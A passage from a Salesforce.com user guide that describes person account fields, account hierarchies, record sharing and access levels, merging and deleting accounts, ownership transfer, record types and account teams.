SIC Code Standard Industrial Classification code of the account’s main
business categorization, for example, 57340 for Electronics.
Up to 10 characters are allowed in this field.
Territories The territories to which the account has been assigned. See
Territory Management Overview on page 2131.
Ticker Symbol Listing of company’s exchange and stock symbol, for example,
NASDAQ: ACME. Up to 20 characters are allowed in this
field.
Type Type of account, for example, Customer, Competitor, or
Partner. Entry is selected from a picklist of available values,
which are set by an administrator. Each picklist value can have
up to 40 characters.
Custom Links Listing of custom links for accounts as set up by your
administrator.
Website URL of account’s website, for example, www.acme.com. Up
to 255 characters are allowed in this field; only the first 50 are
displayed.

Person Account Fields


Person accounts available in: Enterprise, Unlimited, and Developer Editions
The available fields vary according to which Salesforce.com Edition you have.

A person account has the following standard fields, listed in alphabetical order. Depending on your page layout and field-level
security settings, some fields may not be visible or editable. (Field-level security is available in Enterprise, Unlimited, and
Developer Editions only.) Fields with an “X” in the Is Contact Field column are contact fields that are supported for person
accounts but not business accounts.
Note that this list does not include any custom fields that your administrator may have created. Both account and contact
custom fields are available for person accounts.

1141
Accounts Account Fields

Field Description Is Contact Field


Account Currency The default currency for all currency
amount fields in the account. Amounts
display in the account currency and are
also converted to the user’s personal
currency. Available only for organizations
that use multiple currencies.
Account Division Division to which the account belongs.
Records related to the account, such as
contacts and opportunities, automatically
inherit the account’s division. Available
only in organizations that use divisions
to segment their data.
Account Name The name of the individual. In person
accounts, the account name cannot be
edited directly. Instead, Salesforce.com
derives it by combining the First Name
and Last Name fields in the appropriate
order per the user's language setting.
Account Name (Local) The name of the account translated into
the local language.
Account Number Tracking or reference number for
account. Up to 40 characters are allowed
in this field.
Account Owner Assigned owner of account. Not available
in Personal Edition.
Account Record Type Name of the field that determines what
picklist values are available for the record.
Available in Enterprise, Unlimited, and
Developer Editions.
Account Site Name of the account’s location, for
example, Headquarters or London. Up
to 80 characters are allowed in this field.
Annual Revenue Amount of annual reported revenue.
Assistant Name of assistant. Up to 40 characters X
are allowed in this field.
Asst. Phone Assistant’s phone number. Up to 40 X
characters are allowed in this field.
Billing City City portion of billing address. Up to 40
characters are allowed in this field.
Billing Country Country portion of billing address. Up
to 40 characters are allowed in this field.

1142
Accounts Account Fields

Field Description Is Contact Field


Billing State/Province State or province portion of billing
address. Up to 20 characters are allowed
in this field.
Billing Street Street address used for billing. Up to 255
characters are allowed in this field.
Billing Zip/Postal Code Zip or postal code portion of billing
address. Up to 20 characters are allowed
in this field.
Birthdate Birthday. You can enter a date, or choose X
a date from the calendar that displays
when you put your cursor in the field.
Created By User who created the account, including
creation date and time. (Read only)
Custom Links Listing of custom links for accounts as
set up by your administrator.
Department Associated business or organizational X
unit. Up to 80 characters are allowed in
this field.
Description Description of account. Up to 32 KB of
data are allowed in this field. Only the
first 255 characters display in reports.
Do Not Call Indicates if the person does not want to X
be contacted via telephone.
Email Email address. Must be a valid email X
address in the form: jsmith@acme.com.
Up to 80 characters are allowed in this
field.
Email Opt Out The person's email address will not be X
included in mass emails.
Employees Number of people employed by the
account.
Exclude from territory When checked, shields the account from
assignment rules being evaluated when account assignment
rules are run, preventing it from being
automatically assigned to territories.
Also, if the account is already assigned
to territories as a result of assignment
rules, checking this box removes the
account from those territories. This
checkbox only affects rule-based account
assignments and has no effect on manual

1143
Accounts Account Fields

Field Description Is Contact Field


account assignments. See Territory
Management Overview on page 2131.
Fax Fax number. Up to 40 characters are
allowed in this field.
Fax Opt Out Indicates if the person has requested not X
to be included in broadcast faxes.
First Name The first or given name of the individual. X
Up to 40 characters are allowed in this
field.
Home Phone Person’s home phone number. Up to 40 X
characters are allowed in this field.
Industry Primary business of account. Entry is
selected from a picklist of available
values, which are set by an administrator.
Each picklist value can have up to 40
characters.
Last Name The surname or family name of the X
individual. Up to 80 characters are
allowed in this field.
Last Stay-in-Touch Request The date that the most recent X
Date Stay-in-Touch request was sent.
Last Stay-in-Touch Save Date The date that the most recent X
Stay-in-Touch request was returned and
merged.
Lead Source Record source, for example, X
Advertisement, Partner, or Web. Entry
is selected from a picklist of available
values, which are set by an administrator.
Each picklist value can have up to 40
characters.
Mailing City City portion of mailing address. Up to X
40 characters are allowed in this field.
Mailing Country Country portion of mailing address. Up X
to 40 characters are allowed in this field.
Mailing State/Province State or province portion of mailing X
address. Up to 20 characters are allowed
in this field.
Mailing Street Street mailing address. Up to 255 X
characters are allowed in this field.

1144
Accounts Account Fields

Field Description Is Contact Field


Mailing Zip/Postal Code Zip or postal code portion of mailing X
address. Up to 20 characters are allowed
in this field.
Mobile Cellular or mobile phone number. Up to X
40 characters are allowed in this field.
Modified By User who last changed the account fields,
including modification date and time.
This does not track changes made to any
of the related list items on the account.
(Read only)
Other City City portion of additional address. Up to X
40 characters are allowed in this field.
Other Country Country portion of additional address. X
Up to 40 characters are allowed in this
field.
Other Phone Additional phone number listing. Up to X
40 characters are allowed in this field.
Other State/Province State or province portion of additional X
address. Up to 20 characters are allowed
in this field.
Other Street Street address portion of additional X
address. Up to 255 characters are allowed
in this field.
Other Zip/Postal Code Zip or postal code portion of additional X
address. Up to 20 characters are allowed
in this field.
Ownership Ownership of company, for example,
public or private. Entry is selected from
a picklist of available values, which are
set by an administrator. Each picklist
value can have up to 40 characters.
Phone Primary phone number of account. Up
to 40 characters are allowed in this field.
Rating Categorization of how you rate this
account, for example, Hot, Cold. Entry
is selected from a picklist of available
values, which are set by an administrator.
Each picklist value can have up to 40
characters.
Run territory assignment rules When checked, causes account
on save assignment rules to run when the account

1145
Accounts Account Fields

Field Description Is Contact Field


is edited and saved. When customizing
the page layout for accounts, an
administrator can control whether this
checkbox displays and whether it is
checked by default. See Territory
Management Overview on page 2131.
Salutation Title for addressing the person, for X
example, Mr., Ms., Dr., or Prof. Entry
is selected from a picklist of available
values, which are set by an administrator.
Each picklist value can have up to 40
characters.
Shipping City City portion of primary mailing or
shipping address. Up to 40 characters are
allowed in this field.
Shipping Country Country portion of primary mailing or
shipping address. Up to 40 characters are
allowed in this field.
Shipping State/Province State or province portion of primary
mailing or shipping address. Up to 20
characters are allowed in this field.
Shipping Street Primary mailing or shipping street
address of account. Up to 255 characters
are allowed in this field.
Shipping Zip/Postal Code Zip or postal code portion of primary
mailing or shipping address. Up to 20
characters are allowed in this field.
SIC Code Standard Industrial Classification code
of the account’s main business
categorization, for example, 57340 for
Electronics. Up to 10 characters are
allowed in this field.
Territories The territories to which the account has
been assigned. See Territory
Management Overview on page 2131.
Ticker Symbol Listing of company’s exchange and stock
symbol, for example, NASDAQ:
ACME. Up to 20 characters are allowed
in this field.
Title Person's position within his or her X
organization. Up to 80 characters are
allowed in this field.

1146
Accounts Viewing Parent Accounts

Field Description Is Contact Field


Type Type of account, for example, Customer,
Competitor, or Partner. Entry is selected
from a picklist of available values, which
are set by an administrator. Each picklist
value can have up to 40 characters.
Website URL of account’s website, for example,
www.acme.com. Up to 255 characters
are allowed in this field; only the first 50
are displayed.

Viewing Parent Accounts


Available in: All Editions

User Permissions Needed


To view accounts: “Read” on accounts
To view parent accounts: “Read” on accounts

The account hierarchy shows you the accounts that are associated through the Parent Account field, giving you a global
view of a company and its subsidiaries. In the hierarchy, accounts are indented to show that they are subsidiaries of the parent
account above them.

• To view the account hierarchy, click View Hierarchy next to the account name on the account detail page. The Account
Hierarchy page displays up to 500 child accounts.
• To list an account as a subsidiary, edit the subsidiary account and type the name of an existing account in the Parent
Account field. Alternatively, you can click the lookup icon to search for (or optionally, create) a parent account.

The parent account must be an existing account before it can be entered and saved in this field.
For companies with multiple office locations, you can also use the Account Site field to distinguish among the locations.
If your organization uses divisions, accounts that are associated via the Parent Account field do not need to be in the same
division.
The Parent Account field and the View Hierarchy link are not supported for person accounts.

See Also:
Displaying and Editing Accounts
Creating Accounts
What is a Person Account?

1147
Accounts Sharing Accounts

Sharing Accounts
Available in: Professional, Enterprise, Unlimited, and Developer Editions

Your administrator defines your organization's sharing model as well as your organization's default account access levels for
territories. However, you can extend sharing privileges for your own data on an account-by-account basis. You can use account
sharing to increase access to your accounts; you cannot restrict access beyond your organization’s default access levels.
To view and manage sharing details, click Sharing on the account detail page. The Sharing Detail page lists the users, groups,
roles, and territories that have sharing access to the account. On this page, you can do any of the following:

• To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit.
• Click Add to grant access to the record for other users, groups, roles, or territories.
Note: When you share an account, Salesforce.com prompts you to share any related contacts, opportunities, or
cases, up to and including your access level. Enterprise, Unlimited, and Developer Edition users can also share
related records from the record detail pages. Ensure users have at least “Read” permission on shared records.

Alternatively, you can share account access by creating an account team.


• Click Expand List to view all users that have access to the record.
• For manual sharing rules that you created, click Edit or Del next to an item in the list to edit or delete the access level.
For accounts, you can also edit the “Owner” sharing rule.

See Also:
Granting Access to Records
Viewing Which Users Have Access
Territory Management Overview
Sharing Opportunities
Sharing Contacts
Sharing Cases
Account Team Overview

Granting Access to Records


Sharing for accounts and contacts is available in: Professional, Enterprise, Unlimited, and Developer Editions
Sharing for campaigns, cases, custom object records, leads, and opportunities is available in Enterprise, Unlimited, and
Developer Editions

Users can manually grant access to certain types of records. In some cases, granting access includes access to all associated
records. For example, if you grant another user access to your account, the user will automatically have access to all the
opportunities and cases associated with that account. To grant sharing privileges for a record, you must be the record owner,

1148
Accounts Sharing Accounts

any user granted Full Access, an administrator, or (provided your sharing settings control access through hierarchies) a user
in a role above the owner in the hierarchy.
Note: Users that gain access to data due to their position in hierarchies do so based on a setting in your
organization-wide defaults.

To grant access to a record:

1. Click Sharing on the record you want to share.


2. Click Add.
3. From the drop-down list, select the type of group, user, role, or territory to add.
Your choices are:

Type Description
Public Groups All public groups defined by your administrator.
Personal Groups All personal groups defined by the record owner. Only the
record owner can share with his or her personal groups.
Users All users in your organization.
Roles All roles defined for your organization. This includes all of
the users in that role.
Roles and Subordinates This includes all of the users in the role plus all of the users
in roles below that role.
Roles and Internal Subordinates All roles defined for your organization. This includes all of
the users in the specified role plus all of the users in roles
below that role, excluding PRM portal, partner portal, and
Customer Portal roles.
Territories All territories defined for your organization. This includes
all users in that territory. This option is only available if your
organization uses territory management.
Territories and Subordinates Includes all users in the territory plus the users below that
territory. This option is only available if your organization
uses territory management.

4. Choose the specific groups, users, roles, or territories who should have access by adding their names to the New Sharing
list.
5. Choose the access level for the record you are sharing and any associated records that you own. For example, if you are
sharing an account, specify the level of access the selected user should have to associated contact, opportunity, and case
records you own.
The possible access levels are:

1149
Accounts Sharing Accounts

Access Level Description


Full Access User can view, edit, delete, and transfer the record. User can
also extend sharing access to other users; however, the user
cannot grant Full Access to other users.
Read/Write User can view and edit the record, and add associated
records, notes, and attachments to it.
Read Only User can view the record, and add associated records to it.
They cannot edit the record or add notes or attachments.
Private User cannot access the record in any way.

Note:

• When sharing an opportunity or case, users must also have at least read access to the associated account (unless
you are sharing a case via a case team). If you also have privileges to share the account, users are automatically
given read access to the account. If you do not have privileges to share the account, you must ask the account
owner to give the users read access to it.
• Contact Access is not available when the organization-wide default for contacts is set to Controlled by
Parent.
• For sharing rules that specify access for associated object records, the given access level applies only to that
sharing rule. For example, if an account sharing rule specifies Private as the access level for associated contacts,
a user may still have access to associated contacts via other means, such as organization-wide defaults, the
“Modify All Data” or “View All Data” administrative permission, or the “Modify All” or “View All” object
permission.

6. When sharing a forecast, select Submit Allowed to enable the user, group, or role to submit the forecast.
7. Select the reason for the share to allow users and administrators to understand the source of the sharing. For more information
on sharing reasons, see Creating Apex Sharing Reasons on page 207.
8. Click Save.

1150
Accounts Sharing Accounts

Editing or Deleting Record Access


To edit the access levels for a record, click Sharing on the record, and then click Edit next to the group, user, role, or territory
whose access you want to modify. To delete the sharing access for a group, user, role, or territory, click Sharing on the record,
and then click Del next to the group, user, role, or territory whose access you want to remove.

See Also:
Manually Sharing a Forecast
Sharing Accounts
Sharing Campaigns
Sharing Cases
Sharing Contacts
Sharing Custom Object Records
Sharing Leads
Sharing Opportunities
Viewing Which Users Have Access
Case Teams Overview
Controlling Access Using Hierarchies

Viewing Which Users Have Access


Available in: Professional, Enterprise, Unlimited, and Developer Editions

After you have granted access to a record you own, you can view a list of users who have access to the record and its related
information. You can also view the reason why each user has access.

1. Click Sharing on the desired record.


2. Click Expand List to view a detailed list of every user who has access that is greater than the organization-wide default
settings.
The list also shows each user’s access level for the record and any associated records. To show a filtered list of items, select
a predefined list from the View drop-down list, or click Create New View to define your own custom view.
The possible access levels are:

Access Level Description


Full Access User can view, edit, delete, and transfer the record. User can
also extend sharing access to other users; however, the user
cannot grant Full Access to other users.
Read/Write User can view and edit the record, and add associated
records, notes, and attachments to it.
Read Only User can view the record, and add associated records to it.
They cannot edit the record or add notes or attachments.
Private User cannot access the record in any way.

1151
Accounts Sharing Accounts

Note: For sharing rules that specify access for associated object records, the given access level applies only to that
sharing rule. For example, if an account sharing rule specifies Private as the access level for associated contacts, a
user may still have access to associated contacts via other means, such as organization-wide defaults, the “Modify
All Data” or “View All Data” administrative permission, or the “Modify All” or “View All” object permission.

In addition, when viewing forecast sharing, the list shows if the user can submit a forecast.
3. Click Why? next to a user’s name to view the reason he or she has access.
The list shows all of the reasons why the user has access. The user is granted the greatest access level.
The possible reasons are:

Reason Description
Account Sharing Rule The user has access via an account sharing rule created by
the administrator.
Account Sharing The user was granted access via the Sharing button on the
associated account.
Account Team The user is a member of the account team.
Account Territory The account has been assigned to a territory to which the
user has access.
Administrator The user has the “Modify All Data” or “View All Data”
administrative permission, or has the “Modify All” or “View
All” object permission.
Associated record owner or sharing The user owns or has been given sharing access to a record
associated with the record. Click the link to view which
associated records the user owns or has been given sharing
access to.
Campaign Sharing Rule The user has access via a campaign sharing rule created by
the administrator.
Case Sharing Rule The user has access via a case sharing rule created by the
administrator.
Contact Sharing Rule The user has access via a contact sharing rule created by the
administrator.
Delegated Forecast Manager A user has access to forecast data that was granted via the
Sharing button on the forecast.
Forecast Manager A user has access due to being a forecast manager in the
forecast hierarchy.
Lead Sharing Rule The user has access via a lead sharing rule created by the
administrator.
Manager of Territory Member The user has a subordinate in the role hierarchy who is
assigned to the territory with which the account is associated.

1152
Accounts Sharing Accounts

Reason Description
Manual Sharing The user has access that was granted via the Sharing button
on the record.
Manual Territory Sharing The account has been manually assigned to a territory to
which the user has access.
Opportunity Sharing Rule The user has access via an opportunity sharing rule created
by the administrator.
Owner The user owns the record, or the user is a member of the
queue that owns the record or above the queue member in
the role hierarchy.
Sales Team The user is a member of the opportunity sales team.
View All Forecasts Permission The user has a profile with the “View All Forecasts”
permission.

Note: Users that gain access to data due to their position in hierarchies do so based on a setting in your
organization-wide defaults.

See Also:
Manually Sharing a Forecast
Sharing Accounts
Sharing Contacts
Sharing Opportunities
Sharing Cases
Sharing Custom Object Records
Setting Your Organization-Wide Default Sharing Model
Controlling Access Using Hierarchies

1153
Accounts Merging Duplicate Accounts

Merging Duplicate Accounts


Business accounts available in: All Editions
Person accounts available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view accounts: “Read” on accounts
To merge business accounts: “Delete” on accounts
To merge person accounts: “Delete” on accounts
AND
“Read” on contacts

To merge duplicate accounts:

1. From the Accounts tab, click Merge Accounts in the Tools section.
2. Enter a search string to find the duplicate accounts.
For example, you can enter acme* to find duplicate accounts listed as “Acmes” and “Acme, Inc.” Do not use the local name
for the account. Then click Find Accounts.
3. Check the rows of up to three accounts you want to merge. Click Next.
4. Select one account as the “Master Record.” Any data in hidden or read-only fields will be taken from the Master Record.
However, administrators, and users with the “Edit Read Only Fields” permission, can manually select which read-only
fields to retain. Note that hidden fields are not displayed during the merge.
5. Select the fields that you want to retain from each record.
When there is conflicting data, the fields in the left column are preselected and the row is marked in blue.
6. Click the Merge button to complete the merge.

Tips on Merging Accounts


Consider the following when merging accounts:
• You can merge accounts if you are an administrator, the account owner, or a user above the account owner in the role
hierarchy and you have the appropriate user permissions.
• When merging two accounts that you do not own, you must have “Delete” permissions on accounts and “Edit” permissions
on opportunities and cases. You need “Delete” permissions on accounts because you are deleting one of the accounts when
you perform an account merge. You need “Edit” permissions on opportunities and cases because changing the account
name field (AccountID) edits any opportunities or cases that are associated with the accounts you are merging.
• Any related items from any of the duplicate accounts will be associated with the newly merged account.
• In Professional, Enterprise, Unlimited, and Developer Edition organizations, any sharing rules are applied to the newly
merged account. Also, any manual sharing from the “Master Record” is applied to the merged account.
• When you merge accounts that are listed in the Parent Account field of other accounts, the newly merged account is
linked only to the accounts of the selected Master Record.
• All discarded duplicate records are moved to the Recycle Bin.

1154
Accounts Merging Duplicate Accounts

• The newly merged account displays the Created By date from the oldest account you are merging, and shows the merge
date as the Modified By date.
• If both accounts have different account teams, the merged account will contain members from both account teams.
• In organizations that use divisions, the merged account is assigned to the division of the Master Record, unless you select
otherwise.
• When you merge accounts that have territories and the Exclude from account assignment rules box was
deselected on both of the original accounts, account assignment rules will run on the new account to determine its territories.
Also, any manually added territories on the original accounts will be manually added to the new account.
• When you merge accounts that have territories and the Exclude from account assignment rules box was checked
on one or both of the original accounts:
- The newly merged account has all of the territories of the original accounts.
- Account assignment rules will not run on the newly merged account.
- If a territory was assigned to one of the original accounts based on account assignment rules, it will appear as having
been assigned to the new account based on rules even if the new account does not match the rules.
- If a territory was manually assigned to one of the original accounts, it will be manually assigned to the new account.
- If a territory was added to one account manually and to the other account by rules, it will be manually added to the
new account.

• When you merge accounts, you also merge the accounts' memberships in relationship groups. For more information, see
Merging Accounts Associated with Relationship Groups on page 1156.

Tips on Merging Person Accounts


Consider the following when merging person accounts:
• If your organization uses person accounts, both business accounts and person accounts are returned when you search for
duplicates. However, you cannot merge a person account with a business account or vice versa. Person accounts are indicated
by the person account icon ( ).
• You cannot merge person accounts enabled to use a Customer Portal .

Tips on Merging Accounts Associated with Portals


Consider the following when merging accounts associated with portals:
• You must have the “Manage Users” profile permission to merge accounts associated with portals.
• You can merge accounts that have contacts associated with the same type of portal. For example, you can merge accounts
that have contacts associated with a partner portal or Customer Portal , but you cannot merge an account that has contacts
associated with a partner portal with an account that has contacts associated with a Customer Portal.
When you merge accounts that have contacts associated with multiple portals of the same type, a contact's access to a
specific portal does not change. This is because a portal user's profile determines the portal he or she can access.
• When merging a partner account with a non-partner account, the partner account must be the master.
• When merging partner accounts with a non-partner account, the owner cannot be changed.
• To ensure that merged accounts will include contacts associated with a portal, select the account with portal users as the
master record during the merge process.

See Also:
Merging Duplicate Contacts
What is a Person Account?
Creating Partner Accounts

1155
Accounts Adding Translated Names

Merging Accounts Associated with Relationship Groups


Available in: Salesforce for Wealth Management

User Permissions Needed


To merge business accounts: “Delete” on accounts
To merge person accounts: “Delete” on accounts, “Read” on contacts

When working with wealth management accounts (clients), you can merge up to three duplicate accounts at a time. For
example, if the accounts “Joe Bannon” all represent the same client and need to be merged, you can use the Merge Accounts
tool to consolidate those records into one. When you merge accounts, you also merge the accounts' memberships in relationship
groups. Note that merging results in a single account, and an account cannot exist more than once in the same relationship
group. Review the following considerations before merging accounts that are members of relationship groups:

• The account you select as the master record retains its original relationship group memberships. For example, if the master
record “Joseph Bannon” was a member of the “Bannon Family” and “Bannon Law Firm” relationship groups, it remains
a member of those relationship groups.
• The master record replaces the non-master records in all other relationship groups involved in the merge. For example, if
the non-master record “Joe Bannon” was a member of “Bannon Trust Beneficiaries,” the master record is transferred Joe
Bannon's membership in Bannon Trust Beneficiaries.
• If there is a relationship group to which the master record did not originally belong but the multiple non-master records
belong, the master record is transferred the membership of the non-master account that had higher priority (primary versus
secondary) or the account whose member record was most recently modified in the relationship group. For example, if the
non-master records “JR Bannon” and “Joe Bannon” both were members of “Acme LLP” and JR Bannon was primary, then
the master record is transferred JR Bannon's membership in Acme LLP. Alternatively, if neither JR Bannon or Joe Bannon
were primary or secondary but JR Bannon's member record in the relationship group was modified more recently, then
the master record would be transferred JR Bannon's membership in Acme LLP.

See Also:
Merging Duplicate Accounts
Removing Members from Relationship Group Members

Adding Translated Names


Available in: All Editions

A local name stores a translated value for a corresponding account, contact, or lead field. For example, you can store the name
of an account in the default language of your organization as well as the account’s or user’s language. The following fields can
have corresponding local names:

1156
Accounts Deleting Accounts

Standard Field Local Name Field


Account Name Account Name (Local)
Contact: First Name Contact: First Name (Local)
Contact: Last Name Contact: Last Name (Local)
Lead: Company Lead: Company Name (Local)
Lead: First Name Lead: First Name (Local)
Lead: Last Name Lead: Last Name (Local)

Local names do not affect the user’s language settings. Depending on your page layout settings, they can both be displayed
on the detail or edit page.
To enable the ability to use local names, your administrator must first contact salesforce.com and then add the corresponding
local name fields to your page layout settings.

See Also:
Managing Page Layouts

Deleting Accounts
Business accounts available in: All Editions
Person accounts available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view accounts: “Read” on accounts
To delete accounts: “Delete” on accounts

To delete an account, click Del next to the account on the accounts list page, or click Delete on the account detail page.
When you delete an account, all related contacts, opportunities, contracts (as long as they are not activated), activities, notes,
attachments, partner relationships, and relationship group members are also deleted. The account record is moved to the
Recycle Bin. If you undelete the account, any related items are also restored, except for relationship group members in some
cases. For information on such exceptions, see Removing Members from Relationship Group Members on page 1860.
Note that you cannot delete an account if it has been enabled as a partner account, has associated cases, activated contracts,
related opportunities that are owned by other users, or associated contacts are enabled for the Self-Service portal. In addition,
if you attempt to delete an account that has closed/won opportunities owned by you, a message displays asking you whether
you want to delete the closed/won opportunities along with the account or to cancel the account deletion.

1157
Accounts Searching for Accounts

Note: You can delete an account if you are an administrator, the account owner, or a user above the account owner
in the organization role hierarchy, and if you have the appropriate user permission. You do not need the “Delete”
permission on any associated records that are included in the deletion.

See Also:
Recycle Bin
Deleting Mass Data
Merging Duplicate Accounts
What is a Person Account?

Searching for Accounts


Business accounts available in: All Editions
Person accounts available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view accounts: “Read” on accounts

To find specific accounts:

1. Enter your search terms in the Search box located in the sidebar.
Alternatively, click Advanced Search in the sidebar to search for items using the Advanced Search functionality, which
searches for matches in additional fields.
2. Click Search.
The search returns a list of items that match your search terms. The fields you see are determined by the search layout
defined by your administrator and by your field-level security settings (available in Enterprise, Unlimited, and Developer
Editions only).
If you are using local account names, a search finds matches for either the standard account names or local account names.
3. From the list of search results, select a record to jump directly to that record or click Edit to edit it.

You can also create an account list view to find accounts that match specific criteria.

See Also:
Search Overview
Customizing Search Layouts
What is a Person Account?

1158
Accounts Changing Ownership

Changing Ownership
Available in: Contact Manager, Group, Professional, Enterprise Unlimited, and Developer Editions

To transfer ownership of a record:

1. Before transferring a record to a new owner, make sure the new owner has at least “Read”  permission on the object.
2. Click Change next to the Owner field.
The Change link displays only on the detail page, not the edit page. If you do not see the Change link, you cannot change
ownership.
3. Enter a new owner or select a user via the lookup icon.
In organizations where the Salesforce.com Customer Portal or PRM portal is enabled, you can filter the results that will
display on the user lookup dialog by selecting either a queue or group of users from the Owner or Assigned To drop-down
list. Note that neither the User group nor the Roles and Internal Subordinates group contains Customer Portal or partner
users.
4. Select the Send Notification Email checkbox to notify the new owner.
The “From” email address displayed in the notification is your return email address as set in the Email Address field
of your email settings.
For cases in Professional, Enterprise, Unlimited, and Developer Edition organizations, the email text is determined by the
Case Assigned Template setting specified in the Support Settings. For other records, the email text is automatically
generated and cannot be customized.
5. Depending on the type of object you are transferring and your user permissions, the following checkboxes may also appear:

Checkbox Description Appears For


Change Division Transfers the record to the new owner's division. All records Accounts and leads, if you
related to the account are transferred to the new division as can view or edit the
well. Division field

Transfer open Transfers open opportunities owned by other users that are Accounts
opportunities not associated with the account.
owned by the existing
account owner

Transfer closed Transfers the closed opportunities associated with the Accounts
opportunities account. This option applies only to closed opportunities
owned by the account owner; closed opportunities owned
by other users are not changed.
Transfer open cases Transfers any open cases associated with the account that Accounts
owned by the existing are owned by the existing account owner.
account owner

Transfer closed cases Transfers the closed cases associated with the account. This Accounts
option applies only to closed cases owned by the account
owner; closed cases owned by other users are not changed.

1159
Accounts Changing Ownership

Checkbox Description Appears For


Keep Account Team Transfers all account team members on the account to the Accounts
new owner.
Keep Sales Team Preserves the sales team when the opportunity is transferred Opportunities
to the new owner. If this box is unchecked, all sales team
members are deleted when the opportunity is transferred to
the new owner.
Note: If you transfer closed opportunities, the sales
team is maintained, regardless of this setting.

6. Click Save to finish.

Note: After you have changed ownership, the previous owner's visibility reverts to the default sharing setting unless
that user is on an account or sales team. For example, if the previous owner of an account is on an account team, that
user has Read Only or the access specified in your organization-wide default for accounts, whichever is greater. The
previous owner's access to related records remain the same. This behavior is the same for opportunity owners that are
members of a sales team as long as you change ownership using the API. When you change ownership of an opportunity
within Salesforce.com, you can select the access level you desire.

Transfer of Associated Items


When you change record ownership, some associated items that are owned by the current record owner are also transferred
to the new owner.

Record Type Associated items that are also transferred


Accounts Contacts, contracts with “Draft” status, attachments, notes, and open activities. Depending
on your selections, this can also include open opportunities not owned by the current account
owner, closed opportunities, open cases owned by the existing account owner, and closed
cases.
When a partner account is transferred, partner users associated with that account are moved
into the role hierarchy beneath the new owner.
Contracts with “Activated” status are not transferred to the new owner, however, the new
owner has read-only access to these contracts.

Contacts Notes, attachments, and open activities


Opportunities Notes, attachments, and open activities
Leads Notes, attachments, and open activities. Open activities are not transferred if you change lead
ownership using the Assign using active assignment rule checkbox.
Cases Open activities
Campaigns No associated items are transferred
Contracts Notes, attachments, and open activities
Custom objects Notes, attachments, and open activities

1160
Accounts Changing the Record Type Field

Note: When transferring associated group events, only group events that you created are transferred to the new owner.
Group events to which you have been invited are not transferred.

See Also:
Mass Transferring Records
Assigning Leads
Assigning Cases
Changing Document Authors
Editing Email Settings
Territory Management Overview

Changing the Record Type Field


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To change the record type for a record: “Edit” on the object

Record types determine the picklist values that are available when creating and editing a record. When creating a record, you
can choose the record type if you have different record types available to your profile and you have not set your record type
preferences to bypass the record type selection page. When editing existing records, you can change the record type from the
record detail page.

1. Click Change next to the Record Type field on a record detail page.
Note: For campaign members, click Change next to the Campaign Member Type field on a campaign detail
page. You must have the Marketing User user permission to change the campaign member type.

2. Select a record type. The available record types are listed at the bottom of the page.
3. Click Continue.
4. Make any changes to the record.
5. Click Save.

Note: Changes are not saved until you click Save; clicking Continue does not save the record.
If your organization uses person accounts, your administrator has configured two different kinds of record types for
your organization's accounts: one for business accounts, and another for person accounts. You can change an account's

1161
Accounts Changing the Record Type Field

record type only to another record type of the same kind. For example, you cannot change a person account record
type to one designated for business accounts.

See Also:
Setting Record Type Preferences
What is a Person Account?

1162
ACCOUNT TEAMS

Account Team Overview


Available in: Enterprise, Unlimited, and Developer Editions

An account team is a team of users that work together on an account. For example, your account team may include an executive
sponsor, dedicated support representative, and project manager.
You can build an account team on each account that you own. When selecting an account team member, choose a role to
indicate the role the person plays on the account. Also, depending on your sharing model, you can specify the level of access
each account team member will have to the account and any contacts, opportunities, or cases associated with that account. So,
you can give some team members read-only access and others read/write access.
You can also set up a default account team. Your default account team should include the users that you normally work with
on your accounts. You have the option to automatically add your default account team to all of your accounts.
In a custom list view, you can filter account lists by the account teams in which you are a member. When creating or editing
a custom list view for accounts, simply select the My Account Teams filter.
Note: If an account list view was created with the filter My Account Teams, that filter is excluded when the list
view displays in the PRM portal.

In account reports, you can filter accounts by the account teams in which you are a member.
Note: Account teams are not the same as sales teams, although they share the same set of available team member
roles. Account teams work together on accounts, while sales teams work together on opportunities.

See Also:
Setting Up Account Teams
Adding Account Team Members
Editing Account Team Members
Removing Account Team Members
Setting Up Your Default Account Team
Sales Teams Overview
Account and Contact Reports

1163
Account Teams Setting Up Account Teams

Setting Up Account Teams


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To enable account teams: “Customize Application”
To set up team roles: “Customize Application”

Your users can add account team members to accounts. Similar to sales teams on opportunities, account teams are teams of
users who work together on accounts.
To access the Account Team Setup page, click Setup ➤ Customize ➤ Accounts ➤ Account Teams. On the Account Team
Setup page, click the appropriate links to perform the following actions:

Defining Team Roles


Every member of an account team has a role that he or she plays for the account, for example, “Account Manager” or “Project
Manager.” You can customize the account team roles for your organization:
1. Click Team Roles.
2. Edit the existing entries or add new items.
3. Click Save.

Replacing Team Roles


If you have changed your team roles and want to update all existing records, click Replace Team Roles to globally replace the
values in all existing records. For more information, see Replacing Picklists on page 437.
Note: Account teams share roles with the sales teams on opportunities. If you remove an account team role, that role
will no longer be listed as an opportunity sales team role.

Enabling or Disabling Account Teams


To enable or disable account teams:
1. Click Enable Account Teams or Disable Account Teams.
2. Select or deselect the Account Teams Enabled checkbox and click Save. Enabling account teams gives your users
access to create and use account teams on accounts.
3. If you are enabling account teams, select the account page layouts that should include the new Account Team related list
and click Save.

1164
Account Teams Setting Up Your Default Account Team

Note: Disabling account teams removes all account teams from all accounts and removes the Account Team related
list from all page layouts.
In addition, you cannot disable account teams for your organization if team members are referenced in an Apex script.
For example, if a script references the Team Member field (represented as AccountTeamMember in the code), account
teams cannot be disabled. For more information, see Force.com Apex Code Overview on page 964.

See Also:
Account Team Overview
Adding Account Team Members
Setting Up Your Default Account Team

Setting Up Your Default Account Team


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set up default account teams: “Edit” on accounts

An account team is a team of users that work together on an account. For example, your account team may include an executive
sponsor, dedicated support representative, and project manager.

Adding Default Account Team Members


To add users to your default account team:
1. Click Setup ➤ My Personal Information ➤ Personal Information.
2. Click Add in the Default Account Team related list.
3. Select users to add as members of your default account team.
4. Select the access levels that each member should have on the accounts you own and the contacts, opportunities, and cases
related to those accounts.
An access level can only grant the same or wider access than your organization’s default access level for that kind of record.
Contact Access is not available when the organization-wide default for contacts is set to Controlled by Parent.
5. Select an account team role for each member, for example, “Channel Manager.”
6. Check the Automatically add my default account team... box to add your default account team to all accounts
that you create and all accounts that are transferred to you.
